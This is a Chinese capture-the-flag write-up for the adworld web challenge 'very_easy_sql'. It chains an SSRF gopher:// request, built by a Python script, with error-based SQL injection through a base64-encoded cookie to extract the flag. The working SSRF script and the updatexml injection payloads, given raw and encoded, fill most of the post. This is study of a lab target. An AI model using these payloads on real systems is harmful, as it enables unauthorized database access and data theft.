adworld/web/very_easy_sql做题笔记

阳光穿透心脏的1/2处 2024-03-27 15:59 9阅读 0赞

0210

**very\_easy\_sql**

![a0a22b796e6750ea3673bf7bccee8285.png][]

猜测可能是有Referer等有限制。

![d3b8a6f92b8c83c3a741044ccf417938.png][]

尝试修改，没有成功。

![44e4c567531b67bc80d25222b7575613.png][]

发现有use.php

进入后是

[http://61.147.171.105:49212/use.php?url=url][http_61.147.171.105_49212_use.php_url_url]

提供了一个url参数，可能是ssrf

![8843562bd28555ec637aaa0c44d04798.png][]

注意两次编码，参考

[https://www.cnblogs.com/jerrysion/p/5522673.html][https_www.cnblogs.com_jerrysion_p_5522673.html]

网上直接找的生成gopher内容的py脚本，

整体结构比较简单：

**1.gopher传输的文件头**

**2.将1进行urllib.parse.quote处理，%0A替换成%0D%0A，再进行urllib.parse.quote处理**

**3.拼接上opher://127.0.0.1:80/\_**

import urllib.parse

payload = """

POST /flag.php HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 25

uname=admin&passwd=admin

"""

tmp = urllib.parse.quote(payload) \#对payload中的特殊字符进行编码

new = tmp.replace('%0A','%0D%0A') \#CRLFL漏洞

print(new)

result = 'gopher://127.0.0.1:80/'+'\_'+new

result = urllib.parse.quote(result)\# 对新增的部分继续编码

print(result)

这里原文的标注“*对新增的部分继续编码*  ”存在问题，

实际上是因为后续有两次decode，1.ssrf服务器2.web服务器，所以要对报文的内容进行两次encode

![75348843fc959064ad100b859f35ed92.png][]

实际验证发现，gopher://127.0.0.1:80转一次或者不转均可以，但是两次则不可。

![3b51c1850e651120e106977a633a5568.png][]

![8624739f526ce84493180c6483b28850.png][]

Set-Cookie: this\_is\_your\_cookie=YWRtaW4%3D; expires=Fri, 10-Feb-2023

![73833d06a74b0ebc810e0ef0a7f9766c.png][]

经过提醒：YWRtaW4%3D

这里是先url，再base64，可以得到：

admin，说明这里即是注入点

所以注入时：把payload先base64再url

确定了注入点，也确定了*not an inner user*的绕过方法

**要用gopher协议去构造和发送这个包含sql注入payload的包**。

![1f31566c8dbb30fa984bcadd5fee2ade.png][]

admin"') order by 4 \# YWRtaW4iJykgb3JkZXIgYnkgNCAj

![6e72f8394bedb9735e547bbea4d70d55.png][]

admin"') order by 3 \# YWRtaW4iJykgb3JkZXIgYnkgMyAj

order by 3的回显正常，说明是3列。

admin"') union select 123,777,999 \# YWRtaW4iJykgdW5pb24gc2VsZWN0IDEyMyw3NzcsOTk5ICM=

这里返回的页面是正常页面，说明没有回显点。

参考sqllabs-master less5的笔记。

**updatexml(1,concat('!',**database()**,'!'),1)**

admin"') and **updatexml(1,concat('!',**database()**,'!'),1) \#**

YWRtaW4iJykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnIScsZGF0YWJhc2UoKSwnIScpLDEpICM=

![286f95b0c98ef82da2813155f10567e9.png][]

成功报错注入！

admin"') and updatexml(1,concat('!',(select group\_concat(table\_name) from information\_schema.tables where table\_schema='security' limit 0,1),'!'),1) \#

YWRtaW4iJykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnIScsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGxpbWl0IDAsMSksJyEnKSwxKSAj

![ae1b865ea627c9565c0690681e042499.png][]

爆出表名，其中重点是flag表

admin"') and updatexml(1,concat('!',(select group\_concat(column\_name) from information\_schema.columns where table\_name='flag' limit 0,1),'!'),1) \#

YWRtaW4iJykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnIScsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0nZmxhZycgbGltaXQgMCwxKSwnIScpLDEpICM=

![742aba49980f36caa1d3444e846d0309.png][]

爆出来flag列

admin"') and updatexml(1,concat('!',(select group\_concat(flag) from flag ),'!'),1) \#

![b82ec4cebdfa44049bd66afebaab0d0f.png][]

发现只有半截.............

用reverse

admin"') and updatexml(1,concat('!',reverse((select group\_concat(flag) from flag )),'!'),1) \#

![5efec90d3936381ebbdc6db17a9d18fc.png][]

![773321c70e0a1531ad524cff0e99a10f.png][]

3ca330948c7485e7b4b9d67b90192b\}!

拼接：

cyberpeace\{873ca330948c7485e7b4

3ca330948c7485e7b4b9d67b90192b\}!

cyberpeace\{873ca330948c7485e7b4b9d67b90192b\}!

![8a26ec722e39a2b56ff98c4b132d1513.png][]

![1c10cd2ed2287feacf0054e87f03910f.png][]

感觉也是相当麻烦。

总结一下这道题：

1.注意发现页面隐藏内容use.php

2.ssrf

3.发现注入点是cookie,经过base64加密

4.报错注入

5.reverse输入，拼接

这道题也是第一次应用ssrf的gopher协议进行攻击，并且结合了sql注入的知识点

[a0a22b796e6750ea3673bf7bccee8285.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/6825785781114632a60e5ea690cb7a3f.png
[d3b8a6f92b8c83c3a741044ccf417938.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/304f07c5af964769b1fd70ebb6f04f9a.png
[44e4c567531b67bc80d25222b7575613.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/07e5ed692ed9498cb52b7e2dd351c6aa.png
[http_61.147.171.105_49212_use.php_url_url]: http://61.147.171.105:49212/use.php?url=url
[8843562bd28555ec637aaa0c44d04798.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/d323d234886b404eb97a075edca87941.png
[https_www.cnblogs.com_jerrysion_p_5522673.html]: https://www.cnblogs.com/jerrysion/p/5522673.html
[75348843fc959064ad100b859f35ed92.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/7ca766d302294c599f29c078557a1061.png
[3b51c1850e651120e106977a633a5568.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/ab955686b9b448688b04084cc3e08649.png
[8624739f526ce84493180c6483b28850.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/5e290dfc594e4dd8bfa203c3b5d071c3.png
[73833d06a74b0ebc810e0ef0a7f9766c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/53f9aff0956b43a3a1f161ebcdced0f9.png
[1f31566c8dbb30fa984bcadd5fee2ade.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/05f6ebe1ff8b439ca59c85f2d31e3ca2.png
[6e72f8394bedb9735e547bbea4d70d55.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/90bf333f2b6d434eafc1449074f5b7d1.png
[286f95b0c98ef82da2813155f10567e9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/27f20366f8f8457c9d6d5bf4e4a99182.png
[ae1b865ea627c9565c0690681e042499.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/12e42ebe06b2447da2818726c0b8e1aa.png
[742aba49980f36caa1d3444e846d0309.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/5db6d8d026a942b09e76293178fee9f2.png
[b82ec4cebdfa44049bd66afebaab0d0f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/3c73a6add8f040159faaea7b79939b50.png
[5efec90d3936381ebbdc6db17a9d18fc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/17f1a4b96de9438e8a43313232d8454d.png
[773321c70e0a1531ad524cff0e99a10f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/cb71b4c3a20f44d0b32a8fef2a3561aa.png
[8a26ec722e39a2b56ff98c4b132d1513.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/2932ce55044043648c48ec7c5f8daeb4.png
[1c10cd2ed2287feacf0054e87f03910f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/b451780e4f414a0095ee6d7394517622.png